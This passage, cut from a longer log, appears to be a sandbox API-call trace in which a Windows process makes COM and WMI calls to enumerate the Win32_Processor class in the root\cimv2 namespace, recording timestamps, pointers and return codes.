| out: ppv=0x1da2d558*=0x1ac22890) returned 0x0 [0191.743] CoGetContextToken (in: pToken=0x1ad190 | out: pToken=0x1ad190) returned 0x0 [0191.744] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad250 | out: ppvObject=0x1ad250*=0x1da37f30) returned 0x0 [0191.744] WbemLocator:IRpcOptions:Query (in: This=0x1da37f30, pPrx=0x1da37f60, dwProperty=2, pdwValue=0x1ad240 | out: pdwValue=0x1ad240) returned 0x0 [0191.744] WbemLocator:IUnknown:Release (This=0x1da37f30) returned 0x3 [0191.744] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x2 [0191.744] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x1 [0191.744] CoGetContextToken (in: pToken=0x1ad380 | out: pToken=0x1ad380) returned 0x0 [0191.744] WbemLocator:IUnknown:AddRef (This=0x1da37f60) returned 0x2 [0191.744] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad8c8 | out: ppvObject=0x1ad8c8*=0x1da37f20) returned 0x0 [0191.744] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1da37f20, pProxy=0x1da37f60, pAuthnSvc=0x1ad990, pAuthzSvc=0x1ad910, pServerPrincName=0x1ad938, pAuthnLevel=0x1ad914, pImpLevel=0x1ad920, pAuthInfo=0x1ad948, pCapabilites=0x1ad924 | out: pAuthnSvc=0x1ad990*=0xa, pAuthzSvc=0x1ad910*=0x0, pServerPrincName=0x1ad938, pAuthnLevel=0x1ad914*=0x6, pImpLevel=0x1ad920*=0x2, pAuthInfo=0x1ad948, pCapabilites=0x1ad924*=0x1) returned 0x0 [0191.744] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x2 [0191.744] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef82753d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad860 | out: ppvObject=0x1ad860*=0x1da37f60) returned 0x0 [0191.744] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad870 | out: ppvObject=0x1ad870*=0x1da37f20) returned 0x0 [0191.744] WbemLocator:IClientSecurity:SetBlanket (This=0x1da37f20, pProxy=0x1da37f60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.745] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x3 [0191.745] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x2 [0191.745] CoTaskMemFree (pv=0x1da36c30) [0191.745] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x1 [0191.745] SysStringLen (param_1=0x0) returned 0x0 [0191.745] CoGetContextToken (in: pToken=0x1ad820 | out: pToken=0x1ad820) returned 0x0 [0191.745] CoGetContextToken (in: pToken=0x1ad720 | out: pToken=0x1ad720) returned 0x0 [0191.745] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x1ad880*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1ad850 | out: ppvObject=0x1ad850*=0x1c2d47a8) returned 0x0 [0191.746] WbemLocator:IUnknown:AddRef (This=0x1c2d47a8) returned 0x3 [0191.746] WbemLocator:IUnknown:Release (This=0x1c2d47a8) returned 0x2 [0191.746] CoGetContextToken (in: pToken=0x1ad730 | out: pToken=0x1ad730) returned 0x0 [0191.746] WbemLocator:IUnknown:AddRef (This=0x1c2d47a8) returned 0x3 [0191.746] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d47a8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad8b8 | out: ppvObject=0x1ad8b8*=0x1da37f20) returned 0x0 [0191.746] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1da37f20, pProxy=0x1c2d47a8, pAuthnSvc=0x1ad980, pAuthzSvc=0x1ad900, pServerPrincName=0x1ad928, pAuthnLevel=0x1ad904, pImpLevel=0x1ad910, pAuthInfo=0x1ad938, pCapabilites=0x1ad914 | out: pAuthnSvc=0x1ad980*=0xa, pAuthzSvc=0x1ad900*=0x0, pServerPrincName=0x1ad928, pAuthnLevel=0x1ad904*=0x6, pImpLevel=0x1ad910*=0x2, pAuthInfo=0x1ad938, pCapabilites=0x1ad914*=0x1) returned 0x0 [0191.746] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x3 [0191.746] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d47a8, riid=0x7fef82753d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad850 | out: ppvObject=0x1ad850*=0x1da37f60) returned 0x0 [0191.746] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d47a8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad860 | out: ppvObject=0x1ad860*=0x1da37f20) returned 0x0 [0191.747] WbemLocator:IClientSecurity:SetBlanket (This=0x1da37f20, pProxy=0x1c2d47a8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.747] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x4 [0191.747] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x3 [0191.747] CoTaskMemFree (pv=0x1da36c00) [0191.747] WbemLocator:IUnknown:Release (This=0x1c2d47a8) returned 0x2 [0191.747] SysStringLen (param_1=0x0) returned 0x0 [0191.748] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1870, puCount=0x1adb68 | out: puCount=0x1adb68*=0x2) returned 0x0 [0191.748] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adb60*=0x0, pszText=0x0 | out: puBuffLength=0x1adb60*=0xf, pszText=0x0) returned 0x0 [0191.748] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adb60*=0xf, pszText="00000000000000" | out: puBuffLength=0x1adb60*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0191.748] CoGetContextToken (in: pToken=0x1ad470 | out: pToken=0x1ad470) returned 0x0 [0191.748] CoUnmarshalInterface (in: pStm=0x1da2d430, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1ad470 | out: ppv=0x1ad470*=0x1da37f60) returned 0x0 [0191.749] CoMarshalInterface (pStm=0x1da2d430, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x1da37f60, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0191.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad470 | out: ppvObject=0x1ad470*=0x1da37f60) returned 0x0 [0191.749] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x3 [0191.749] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x2 [0191.749] CoGetContextToken (in: pToken=0x1ad250 | out: pToken=0x1ad250) returned 0x0 [0191.749] WbemLocator:IUnknown:AddRef (This=0x1da37f60) returned 0x3 [0191.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad798 | out: ppvObject=0x1ad798*=0x1da37f20) returned 0x0 [0191.749] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1da37f20, pProxy=0x1da37f60, pAuthnSvc=0x1ad860, pAuthzSvc=0x1ad7e0, pServerPrincName=0x1ad808, pAuthnLevel=0x1ad7e4, pImpLevel=0x1ad7f0, pAuthInfo=0x1ad818, pCapabilites=0x1ad7f4 | out: pAuthnSvc=0x1ad860*=0xa, pAuthzSvc=0x1ad7e0*=0x0, pServerPrincName=0x1ad808, pAuthnLevel=0x1ad7e4*=0x6, pImpLevel=0x1ad7f0*=0x3, pAuthInfo=0x1ad818, pCapabilites=0x1ad7f4*=0x20) returned 0x0 [0191.749] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x3 [0191.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef82753d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad730 | out: ppvObject=0x1ad730*=0x1da37f60) returned 0x0 [0191.749] WbemLocator:IUnknown:QueryInterface (in: This=0x1da37f60, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad740 | out: ppvObject=0x1ad740*=0x1da37f20) returned 0x0 [0191.749] WbemLocator:IClientSecurity:SetBlanket (This=0x1da37f20, pProxy=0x1da37f60, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.750] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x4 [0191.750] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x3 [0191.750] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x2 [0191.750] SysStringLen (param_1=0x0) returned 0x0 [0191.750] CoGetContextToken (in: pToken=0x1ad6f0 | out: pToken=0x1ad6f0) returned 0x0 [0191.750] WbemLocator:IUnknown:AddRef (This=0x1c2d47a8) returned 0x3 [0191.750] WbemLocator:IUnknown:Release (This=0x1c2d47a8) returned 0x2 [0191.750] CoGetContextToken (in: pToken=0x1ad600 | out: pToken=0x1ad600) returned 0x0 [0191.750] WbemLocator:IUnknown:AddRef (This=0x1c2d47a8) returned 0x3 [0191.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d47a8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad788 | out: ppvObject=0x1ad788*=0x1da37f20) returned 0x0 [0191.750] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1da37f20, pProxy=0x1c2d47a8, pAuthnSvc=0x1ad850, pAuthzSvc=0x1ad7d0, pServerPrincName=0x1ad7f8, pAuthnLevel=0x1ad7d4, pImpLevel=0x1ad7e0, pAuthInfo=0x1ad808, pCapabilites=0x1ad7e4 | out: pAuthnSvc=0x1ad850*=0xa, pAuthzSvc=0x1ad7d0*=0x0, pServerPrincName=0x1ad7f8, pAuthnLevel=0x1ad7d4*=0x6, pImpLevel=0x1ad7e0*=0x3, pAuthInfo=0x1ad808, pCapabilites=0x1ad7e4*=0x20) returned 0x0 [0191.750] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x3 [0191.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d47a8, riid=0x7fef82753d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad720 | out: ppvObject=0x1ad720*=0x1da37f60) returned 0x0 [0191.750] WbemLocator:IUnknown:QueryInterface (in: This=0x1c2d47a8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad730 | out: ppvObject=0x1ad730*=0x1da37f20) returned 0x0 [0191.750] WbemLocator:IClientSecurity:SetBlanket (This=0x1da37f20, pProxy=0x1c2d47a8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.751] WbemLocator:IUnknown:Release (This=0x1da37f20) returned 0x4 [0191.751] WbemLocator:IUnknown:Release (This=0x1da37f60) returned 0x3 [0191.751] WbemLocator:IUnknown:Release (This=0x1c2d47a8) returned 0x2 [0191.751] SysStringLen (param_1=0x0) returned 0x0 [0191.751] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adb70*=0x0, pszText=0x0 | out: puBuffLength=0x1adb70*=0x10, pszText=0x0) returned 0x0 [0191.751] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1390, lFlags=2, puBuffLength=0x1adb70*=0x10, pszText="000000000000000" | out: puBuffLength=0x1adb70*=0x10, pszText="win32_processor") returned 0x0 [0191.809] IWbemServices:GetObject (in: This=0x1c2d47a8, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x1adaf0*=0x0, ppCallResult=0x0 | out: ppObject=0x1adaf0*=0x1c2d8ee0, ppCallResult=0x0) returned 0x0 [0191.833] IWbemClassObject:Get (in: This=0x1c2d8ee0, wszName="__PATH", lFlags=0, pVal=0x1ada80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1adbf0*=0, plFlavor=0x1adbe8*=0 | out: pVal=0x1ada80*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_Processor", varVal2=0x0), pType=0x1adbf0*=8, plFlavor=0x1adbe8*=64) returned 0x0 [0191.834] SysStringByteLen (bstr="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_Processor") returned 0x4c [0191.834] SysStringByteLen (bstr="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_Processor") returned 0x4c [0191.834] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x394 [0191.834] SetEvent (hEvent=0x2e8) returned 1 [0191.834] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1ad8b0*=0x394, lpdwindex=0x1ad684 | out: lpdwindex=0x1ad684) returned 0x0 [0191.836] CoGetContextToken (in: pToken=0x1ad700 | out: pToken=0x1ad700) returned 0x0 [0191.836] CoGetContextToken (in: pToken=0x1ad600 | out: pToken=0x1ad600) returned 0x0 [0191.837] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c2d9250, riid=0x1ad760*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1ad730 | out: ppvObject=0x1ad730*=0x1c2d9250) returned 0x0 [0191.837] WbemDefPath:IUnknown:AddRef (This=0x1c2d9250) returned 0x3 [0191.837] WbemDefPath:IUnknown:Release (This=0x1c2d9250) returned 0x2 [0191.837] WbemDefPath:IWbemPath:SetText (This=0x1c2d9250, uMode=0x4, pszPath="\\\\XDUWTFONO\\ROOT\\CIMV2:Win32_Processor") returned 0x0 [0191.837] IWbemClassObject:Get (in: This=0x1c2d8ee0, wszName="__CLASS", lFlags=0, pVal=0x1adb50*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1adc98*=0, plFlavor=0x1adc90*=0 | out: pVal=0x1adb50*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x1adc98*=8, plFlavor=0x1adc90*=64) returned 0x0 [0191.837] SysStringByteLen (bstr="Win32_Processor") returned 0x1e [0191.837] SysStringByteLen (bstr="Win32_Processor") returned 0x1e [0191.837] CoGetContextToken (in: pToken=0x1ad680 | out: pToken=0x1ad680) returned 0x0 [0191.837] WbemLocator:IUnknown:AddRef (This=0x1c2d47a8) returned 0x3 [0191.837] IWbemServices:CreateInstanceEnum (in: This=0x1c2d47a8, strFilter="Win32_Processor", lFlags=17, pCtx=0x0, ppEnum=0x1adb90 | out: ppEnum=0x1adb90*=0x1c2d9648) returned 0x0 [0191.842] IUnknown:QueryInterface (in: This=0x1c2d9648, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad808 | out: ppvObject=0x1ad808*=0x1c2d9650) returned 0x0 [0191.842] IClientSecurity:QueryBlanket (in: This=0x1c2d9650, pProxy=0x1c2d9648, pAuthnSvc=0x1ad8d0, pAuthzSvc=0x1ad850, pServerPrincName=0x1ad878, pAuthnLevel=0x1ad854, pImpLevel=0x1ad860, pAuthInfo=0x1ad888, pCapabilites=0x1ad864 | out: pAuthnSvc=0x1ad8d0*=0xa, pAuthzSvc=0x1ad850*=0x0, pServerPrincName=0x1ad878, pAuthnLevel=0x1ad854*=0x6, pImpLevel=0x1ad860*=0x2, pAuthInfo=0x1ad888, pCapabilites=0x1ad864*=0x1) returned 0x0 [0191.842] IUnknown:Release (This=0x1c2d9650) returned 0x1 [0191.842] IUnknown:QueryInterface (in: This=0x1c2d9648, riid=0x7fef82753d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad7a0 | out: ppvObject=0x1ad7a0*=0x1da380e0) returned 0x0 [0191.842] IUnknown:QueryInterface (in: This=0x1c2d9648, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad7b0 | out: ppvObject=0x1ad7b0*=0x1c2d9650) returned 0x0 [0191.842] IClientSecurity:SetBlanket (This=0x1c2d9650, pProxy=0x1c2d9648, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.845] IUnknown:Release (This=0x1c2d9650) returned 0x2 [0191.845] WbemLocator:IUnknown:Release (This=0x1da380e0) returned 0x1 [0191.845] CoTaskMemFree (pv=0x1da36c90) [0191.845] IUnknown:QueryInterface (in: This=0x1c2d9648, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad260 | out: ppvObject=0x1ad260*=0x1da380e0) returned 0x0 [0191.845] WbemLocator:IUnknown:QueryInterface (in: This=0x1da380e0, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ad2f0 | out: ppvObject=0x1ad2f0*=0x0) returned 0x80004002 [0191.846] WbemLocator:IUnknown:QueryInterface (in: This=0x1da380e0, riid=0x7fef4179770*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1acf20 | out: ppvObject=0x1acf20*=0x0) returned 0x80004002 [0191.848] WbemLocator:IUnknown:AddRef (This=0x1da380e0) returned 0x3 [0191.848] WbemLocator:IUnknown:QueryInterface (in: This=0x1da380e0, riid=0x7fef4179750*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1ac9a8 | out: ppvObject=0x1ac9a8*=0x0) returned 0x80004002 [0191.849] WbemLocator:IUnknown:QueryInterface (in: This=0x1da380e0, riid=0x7fef4179760*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1ac940 | out: ppvObject=0x1ac940*=0x0) returned 0x80004002 [0191.849] WbemLocator:IUnknown:QueryInterface (in: This=0x1da380e0, riid=0x7fef414c7d8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ac930 | out: ppvObject=0x1ac930*=0x1da37fc8) returned 0x0 [0191.849] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1da37fc8, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1ac958 | out: pCid=0x1ac958*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0191.849] WbemLocator:IUnknown:Release (This=0x1da37fc8) returned 0x3 [0191.849] CoGetContextToken (in: pToken=0x1ac9d0 | out: pToken=0x1ac9d0) returned 0x0 [0191.850] CoGetContextToken (in: pToken=0x1ace50 | out: pToken=0x1ace50) returned 0x0 [0191.850] WbemLocator:IUnknown:QueryInterface (in: This=0x1da380e0, riid=0x7fef4179790*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1acf10 | out: ppvObject=0x1acf10*=0x1da380b0) returned 0x0 [0191.850] WbemLocator:IRpcOptions:Query (in: This=0x1da380b0, pPrx=0x1da380e0, dwProperty=2, pdwValue=0x1acf00 | out: pdwValue=0x1acf00) returned 0x80004002 [0191.850] WbemLocator:IUnknown:Release (This=0x1da380b0) returned 0x3 [0191.850] WbemLocator:IUnknown:Release (This=0x1da380e0) returned 0x2 [0191.850] CoGetContextToken (in: pToken=0x1ad520 | out: pToken=0x1ad520) returned 0x0 [0191.850] CoGetContextToken (in: pToken=0x1ad420 | out: pToken=0x1ad420) returned 0x0 [0191.850] WbemLocator:IUnknown:QueryInterface (in: This=0x1da380e0, riid=0x1ad580*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1ad550 | out: ppvObject=0x1ad550*=0x1c2d9648) returned 0x0 [0191.850] IUnknown:AddRef (This=0x1c2d9648) returned 0x4 [0191.850] IUnknown:Release (This=0x1c2d9648) returned 0x3 [0191.850] IUnknown:Release (This=0x1c2d9648) returned 0x2 [0191.850] WbemLocator:IUnknown:Release (This=0x1c2d47a8) returned 0x2 [0191.850] SysStringLen (param_1=0x0) returned 0x0 [0191.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c2c1870, puCount=0x1adbb8 | out: puCount=0x1adbb8*=0x2) returned 0x0 [0191.850] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adbb0*=0x0, pszText=0x0 | out: puBuffLength=0x1adbb0*=0xf, pszText=0x0) returned 0x0 [0191.850] WbemDefPath:IWbemPath:GetText (in: This=0x1c2c1870, lFlags=4, puBuffLength=0x1adbb0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1adbb0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0191.854] CoGetContextToken (in: pToken=0x1ad750 | out: pToken=0x1ad750) returned 0x0 [0191.854] IUnknown:AddRef (This=0x1c2d9648) returned 0x3 [0191.861] IEnumWbemClassObject:Clone (in: This=0x1c2d9648, ppEnum=0x1adbf0 | out: ppEnum=0x1adbf0*=0x1c2d97d8) returned 0x0 [0191.864] IUnknown:QueryInterface (in: This=0x1c2d97d8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad8d8 | out: ppvObject=0x1ad8d8*=0x1c2d97e0) returned 0x0 [0191.864] IClientSecurity:QueryBlanket (in: This=0x1c2d97e0, pProxy=0x1c2d97d8, pAuthnSvc=0x1ad9a0, pAuthzSvc=0x1ad920, pServerPrincName=0x1ad948, pAuthnLevel=0x1ad924, pImpLevel=0x1ad930, pAuthInfo=0x1ad958, pCapabilites=0x1ad934 | out: pAuthnSvc=0x1ad9a0*=0xa, pAuthzSvc=0x1ad920*=0x0, pServerPrincName=0x1ad948, pAuthnLevel=0x1ad924*=0x6, pImpLevel=0x1ad930*=0x2, pAuthInfo=0x1ad958, pCapabilites=0x1ad934*=0x1) returned 0x0 [0191.864] IUnknown:Release (This=0x1c2d97e0) returned 0x1 [0191.864] IUnknown:QueryInterface (in: This=0x1c2d97d8, riid=0x7fef82753d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad870 | out: ppvObject=0x1ad870*=0x1da383e0) returned 0x0 [0191.864] IUnknown:QueryInterface (in: This=0x1c2d97d8, riid=0x7fef82753e8*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad880 | out: ppvObject=0x1ad880*=0x1c2d97e0) returned 0x0 [0191.864] IClientSecurity:SetBlanket (This=0x1c2d97e0, pProxy=0x1c2d97d8, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0191.867] IUnknown:Release (This=0x1c2d97e0) returned 0x2 [0191.867] WbemLocator:IUnknown:Release (This=0x1da383e0) returned 0x1 [0191.867] CoTaskMemFree (pv=0x1da36cc0) [0191.867] IUnknown:QueryInterface (in: This=0x1c2d97d8, riid=0x7fef414c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1ad330 | out: ppvObject=0x1ad330*=0x1da383e0) returned 0x0 [0191.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1da383e0, riid=0x7fef4179740*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1ad3c0 | out: ppvObject=0x1ad3c0*=0x0) returned 0x80004002 [0191.868] WbemLocator:IUnknown:QueryInterface (in: 